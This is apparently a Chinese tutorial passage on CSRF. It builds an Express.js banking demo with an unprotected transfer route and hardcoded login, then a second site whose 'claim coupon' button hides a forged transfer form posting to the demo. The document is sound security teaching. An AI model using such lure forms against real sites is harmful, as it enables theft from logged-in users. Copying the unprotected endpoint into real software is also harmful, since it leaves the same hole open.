# 上一节我们以及创建了webA，并且把transfer.html改为使用jquery发送ajax请求的发送，代码如下

# 1.webA

|  |
| --- |
|  |

## views/login.html

|  |
| --- |
| <!DOCTYPE html>  <html>  <head>      <meta charset='UTF-8' />      <title>用户登录</title>  </head>  <body>      <h3>用户登录</h3>      <hr>      <form method="post" action="/">          <!--使用ajax技术提交，这里不用写action和method属性 需要就submit按钮改为普通按钮，因为普通按钮不会提交 -->          <p>账号：<input type="text" name="username" id="username"></p>          <p>密码：<input type="password" name="pwd" id="pwd"></p>          <p>              <input type="submit" value="登录" id="btnLogin">          </p>      </form>  </body>  </html> |

## views/transfer.html

|  |  |
| --- | --- |
| <!DOCTYPE html>  <html>  <head>      <meta charset='UTF-8' />      <title>转账页面</title>  </head>  <body>      <h3>转账</h3>      <hr>      <form method="post">          <p>账号：<input type="text" name="account" id="account"></p>          <p>金额：<input type="number" name="money" id="money"></p>          <p>              <input type="button" value="转账" id="btn">          </p>      </form>      <!-- action="/transfer" -->      <script src="/js/jquery3.1.0.min.js"></script>      <script>          $('#btn').click(function (e) {              let account = $('#account').val()              let money = $('#money').val()              // alert(account)              let params = {                  account,                  money              }              //发送ajax post请求              $.ajax({                  url: '/transfer',                  method: 'post',                  contentType: 'application/json',                  data: JSON.stringify(params),                  //headers:{'X-CSRFToken':getCookie('csrf\_token')},                  success: function (data) {                      console.log("data", data);                      alert(`成功给${account}转账${money}元`)                  }              })          })      </script>  </body>  </html> |  |

## app.js

|  |
| --- |
| let express = require('express')  let cookieParser = require('cookie-parser')  let cookieSession = require('cookie-session')  let bodyParser = require('body-parser')  let path = require('path')  let port = 3500  let app = express()  //全局注册bodyParser中间件  app.use(bodyParser.urlencoded({extended:false}))  app.use(bodyParser.json())  //全局注册cookieParser中间件,注意：有的中间件需要小括号，有的中间件不需要  app.use(cookieParser())  //全局注册cookieSession中间件  app.use(cookieSession({      name:'my\_session',      keys:['adefg%%78$$','o9l1##dd09=='] ,//这个其实就是加密用的盐      maxAge:2\*24\*1000\*60\*60 //过期时间为2天  }))  app.use(express.static(\_\_dirname+'/public'))//静态服务器，根据需要配置  //处理中文乱码  app.use(function (req, res, next) {      res.setHeader('Content-Type', 'text/html;charset=utf-8');      next();  });  //配置模板引擎,4步，一个engine和3个set  app.engine('html',require('express-art-template'))  app.set('view options',{      debug:process.env.NODE\_ENV!=='production'  })  app.set('views',path.join(\_\_dirname,'views'))  app.set('view engine','html')  app.all('/',(req,res)=>{       if(req.method=="GET"){          res.render('login')       }else if(req.method=="POST"){           //获取用户名，密码           let {username,pwd} = req.body           console.log(username,pwd);           //模拟数据库数据验证           if(username === 'admin' && pwd === '12345'){                 //验证成功,需要设置状态保持，用来在其他路由验证用户是否登录                 req.session['username'] = username                 //转到transfer路由                 res.redirect('/transfer')           } else{              res.send("用户名或者密码错误！！！")           }         }  })  //转账路由  app.all('/transfer',(req,res)=>{       //验证用户是否登录,必须一上来就做，无论用户是get还是post请求都需要登录验证      let username = req.session['username']      if(!username){ //用户没有登录          //重定向到首页执行登录操作          res.redirect('/')      }      //功能进入这里，说明用户已经登录了      if(req.method=="GET"){          res.render('transfer') //渲染转帐页面      }else if(req.method=="POST"){          //模拟转账          let {account,money} = req.body          //模拟转换成功，在后输出信息          console.log(`成功给${account}转账${money}元`);          res.json({account,money})      }    })  app.listen(port,()=>{       console.log('server is ready :http://localhost:'+port+'/');  }) |

### 效果

|  |
| --- |
|  |

# 下面我们来学习CSRF

# 2. CSRF跨站请求伪造的流程图解析p177

## 我们把csrf1-webA改名为webA作为自己的网站，然后新建一个webB作为一个第三方网站，它的结构如下，注意这里是使用父目录里面的package.json以及node依赖，然后我们来测试csrf攻击

|  |
| --- |
|  |

## 01-webB-app.js

|  |
| --- |
| let express = require('express')  let path = require('path')  let port = 3600  let app = express()  //配置模板引擎,4步，一个engine和3个set  app.engine('html',require('express-art-template'))  app.set('view options',{      debug:process.env.NODE\_ENV!=='production'  })  app.set('views',path.join(\_\_dirname,'views'))  app.set('view engine','html')  app.all('/',(req,res)=>{      res.render('index')  })  app.listen(port,()=>{       console.log('server is ready :http://localhost:'+port+'/');  }) |

## index.html

|  |
| --- |
| <!DOCTYPE html>  <html lang="en">  <head>      <meta charset="UTF-8">      <meta name="viewport" content="width=device-width, initial-scale=1.0">      <title>跨站请求伪造</title>  </head>  <body>      <h1>网站B</h1>      <hr>      <form method="post" action="http://localhost:3500/transfer">          <p><input type="hidden" name="account" id="account" value="9999999999999"></p>          <p><input type="hidden" name="money" id="money" value="2000"></p>          <p>              <input type="submit" value="点击领取优惠券">          </p>      </form>  </body>  </html> |

## 先运行webA，输入正确的账号密码，相当于我们的项目在线运营，不过此时没有做转账

|  |
| --- |
|  |
|  |

## 然后运行webB中的01-webB-app.js，出现页面后点击优惠券按钮

|  |
| --- |
|  |
|  |

## 奇怪吗?webB它居然跳转到我们的项目，并且还转账成功了！！如果是生产环境，可能会给偷钱了，因为这个账号是这个第三方网站的人的,我们并不知道。也有可能是内鬼所为。

## 可见我们的网站如果没有否则CSRF功能是多么的危险

## 我们来看看流程图

|  |
| --- |
|  |

# 下一节我们来学习CSRF跨站请求伪造的防护措施的流程图解析p178